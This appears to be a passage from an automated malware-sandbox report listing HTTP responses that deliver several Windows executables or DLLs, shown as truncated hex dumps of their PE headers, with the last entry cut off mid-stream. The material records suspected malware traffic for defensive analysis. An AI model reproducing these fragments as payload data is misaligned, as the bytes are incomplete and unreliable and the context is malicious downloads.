Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Apr 2024 09:06:16 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Apr 2024 09:06:16 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 15 Mar 2024 11:59:56 GMTETag: "4a4030-613b1bf118700"Accept-Ranges: bytesContent-Length: 4866096Content-Type: application/x-msdos-programData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 84 e1 90 58 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 c4 35 00 00 50 14 00 00 00 00 00 60 d5 35 00 00 10 00 00 00 e0 35 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 60 c3 4a 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 37 00 9c 4e 00 00 00 d0 3c 00 eb fe 0d 00 00 00 00 00 00 00 00 00 00 18 4a 00 30 28 00 00 00 30 38 00 84 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 38 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 be 37 00 e0 0b 00 00 00 00 38 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 85 35 00 00 10 00 00 00 86 35 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 3c 3d 00 00 00 a0 35 00 00 3e 00 00 00 8a 35 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 b0 56 01 00 00 e0 35 00 00 58 01 00 00 c8 35 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 8c 6d 00 00 00 40 37 00 00 00 00 00 00 20 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 9c 4e 00 00 00 b0 37 00 00 50 00 00 00 20 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 d2 09 00 00 00 00 38 00 00 0a 00 00 00 70 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 40 00 00 00 00 10 38 00 00 00 00 00 00 7a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 20 38 00 00 02 00 00 00 7a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 84 9a 04 00 00 30 38 00 00 9c 04 00 00 7c 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 eb fe 0d 00 00 d0 3c 00 00 00 0e 00 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Apr 2024 09:06:17 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Apr 2024 09:06:18 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Apr 2024 09:06:19 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Apr 2024 09:06:20 GMTContent-Type: application/x-msdos-programContent-Length: 257872Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Apr 2024 09:06:21 GMTContent-Type: application/x-msdos-programContent-Length: 80880Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Apr 2024 09:06:46 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 24 Apr 2024 21:15:46 GMTETag: "85400-616de2c892480"Accept-Ranges: bytesContent-Length: 545792Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 08 c4 c7 27 69 